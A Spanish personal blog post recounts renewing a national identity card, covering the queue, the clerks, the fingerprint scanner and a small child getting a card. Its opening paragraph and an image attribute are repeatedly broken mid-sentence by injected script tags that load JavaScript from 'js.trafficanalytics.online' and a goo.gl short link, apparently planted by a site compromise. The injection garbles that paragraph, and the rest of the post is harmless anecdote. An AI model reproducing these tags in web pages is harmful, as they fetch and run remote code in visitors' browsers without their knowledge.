D.N.I., instantáneo como el Cola-Cao

Ellos, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> contentos con su D.N.I.” title=”Ellos, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> contentos con su D.N.I.” />Dolores de cabeza me entraron al pensar que tenía que renovarme el D.N.I. (recordemos, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> “Documento Nacional de Identidad”). La última vez, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> hace ya un lustro, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> perdí una mañana y ¡milagro que no más! Al poquísimo de sacármelo se estableció el documento electrónico, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> ese carnet con chip hoy asentado en las carteras de casi todo el país. Pero aún así, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> cuando he regresado y me encontré con todas aquellas moderneces de golpe hizo que al salir de la comisaría me dijese: “yo esto lo tengo que contar en el blog”.<span id=

Pocos días iba a estar en mi ciudad, a un par de meses de que se me venciera el D.N.I. Tenía miedo de pedir cita porque la burocracia tiene un concepto temporal diferente al de los humanos: dicen darte cita para dos semanas cuando quieren decir medio año. Pero el pasado sábado fui confiado a renovármelo sin cita previa, fiándome de ese súper contactazo de mi madre. En efecto, se comprobó que no por ser la chica de la limpieza se carece de credibilidad.

Ese sábado ‘in the morning’, que hubo poca gente, las funcionarias me dieron un papelito con número, cual charcutería. Y como cual charcutería, con unos iban más rápidos y con otros más lentos. Y entre unos y otros, como razón indivisible del funcionariado español, pues llega ese momento en que paran todos sus deberes administrativos para vagar por el despacho y cotorrear, a ojos de todos los que seguimos esperando fuera.

Mientras,  a este otro lado nos mantenían entretenidos con la televisión enchufada (aunque de toda la hilera de pantallas planas que había, van y la conectan en la más pequeña y fofa). La espera me sirvió para saber, en un episodio especial de El encantador de perros (Cuatro), que los americanos reconocen al ‘presa canario’ como una de las especies más peligrosas. ¡Para esas barbaridades sí que nos conocen!

“¡El 63!”. Ya era mi turno. Fue meter mis datos en un ordenador y salir ya el carnet por otra maquinita. Luego había que llenar el microchip con mis huellas dactilares, que esta vez doy gracias de no tener que haberme manchado el dedo. Eso sí, limpiar el cristalito detector de huellas con un Kleenex acercaba más estas modernidades al pueblo llano.

Más llana que nadie era la funcionaria de al lado. No sé si es que por ser sábado había quedado con un macho esa noche, pero la encontré muy fresca cantando Guilty sin ninguna cortedad. Ésta misma atendió al siguiente: un niño que vendría a tener unos ¡cinco años! Pero, ¿a qué edad empiezan ya a sacarse los carnets, si antes no te los hacían hasta que entraras en B.U.P.? Y, ¿para qué quiere ese chinijo un D.N.I.? ¿Para a ver si hay un poco de suerte y le dejan entrar en las discotecas?

Salí de allí todo loco, pero con un D.N.I. electrónico ya en la cartera. Cuando vi al funcionario cortando el anterior, sentí que cortaba cinco años de mi vida. La de viajes que me permitió hacer, la de libros que saqué, becas, matrículas… Aquel simple plastiquito ya ha pasado a mejor vida. O mejor dicho, a mejor papelera.

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